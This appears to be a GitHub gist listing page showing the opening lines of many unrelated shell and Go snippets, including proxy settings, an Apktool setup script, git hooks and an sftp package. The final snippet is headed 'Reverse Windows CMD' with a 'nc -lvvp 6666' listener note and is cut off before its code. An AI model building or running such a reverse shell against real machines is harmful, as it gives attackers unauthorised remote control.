# set http proxy
export http_proxy=http://PROXYHOST:PROXYPORT
# set http proxy with user and password
export http_proxy=http://USERNAME:PASSWORD@PROXYHOST:PROXYPORT
# set http proxy with user and password (with special characters)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# 参考: https://www.52pojie.cn/thread-659866-1-1.html | |
cd `mktemp -d` | |
mkdir -p tool app | |
# 安装相关工具 | |
cd tool | |
wget --no-check-certificate -O openjdk.tar.gz https://download.java.net/java/GA/jdk11/13/GPL/openjdk-11.0.1_linux-x64_bin.tar.gz | |
wget --no-check-certificate https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#AC娘表情包 01-54 | |
#http://cdn.aixifan.com/dotnet/20130418/umeditor/dialogs/emotion/images/ac/01.gif?v=0.1 | |
#匿名版表情包 01-40 | |
#http://cdn.aixifan.com/dotnet/20130418/umeditor/dialogs/emotion/images/ais/01.gif?v=0.1 | |
#AC新娘表情包 01-55 | |
#http://cdn.aixifan.com/dotnet/20130418/umeditor/dialogs/emotion/images/ac2/01.gif?v=0.1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
cd `dirname $0` | |
if [ "githook.sh" = "`basename $0`" ]; then | |
gitroot=$(git rev-parse --show-toplevel) | |
cp -f ${gitroot}/scripts/githook.sh ${gitroot}/.git/hooks/pre-commit | |
chmod u+x ${gitroot}/.git/hooks/pre-commit | |
exit 0 | |
elif [ "pre-commit" = "`basename $0`" ]; then | |
cd ../.. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [ -n "${1}" ]; then | |
WD=${1} | |
else | |
WD=$(cd `dirname $0`/..;pwd) | |
fi | |
# find all text file extensions which not in the dir: .idea/.git/vendor/thirdparty/sdk/swagger | |
exts=$(find ${WD} -type f -not -path "*.idea*" -not -path "*.git*" -not -path "*/sdk/*" -not -path "*rd*arty*" -not -path "*vendor*" -not -path "*swagger*" -exec grep -Iq . {} \; -and -print 2> /dev/null | awk -F '.' '{if ($NF!~/\//){print $NF}}' | sort | uniq) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# Thread state | |
# pidstat -dhut -p <PID> | |
# top -bcH -n 1 -p <PID> | |
# pstree -ps <PID> | |
pname=${1} | |
if [ -z "${pname}" ] || [[ "${pname}" =~ [-](h|H|[-]?help) ]]; then | |
echo -e "Error: need input a process name or pid\n" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package sftp | |
import ( | |
"errors" | |
"fmt" | |
"io" | |
"os" | |
"path/filepath" | |
"strings" | |
"time" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"math/rand" | |
"time" | |
"fmt" | |
) | |
const ( | |
lowercaseLetter = `abcdefghijklmnopqrstuvwxyz` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// +build windows | |
// Reverse Windows CMD | |
// Test with nc -lvvp 6666 | |
package main | |
import ( | |
"bufio" | |
"net" | |
"os/exec" |
NewerOlder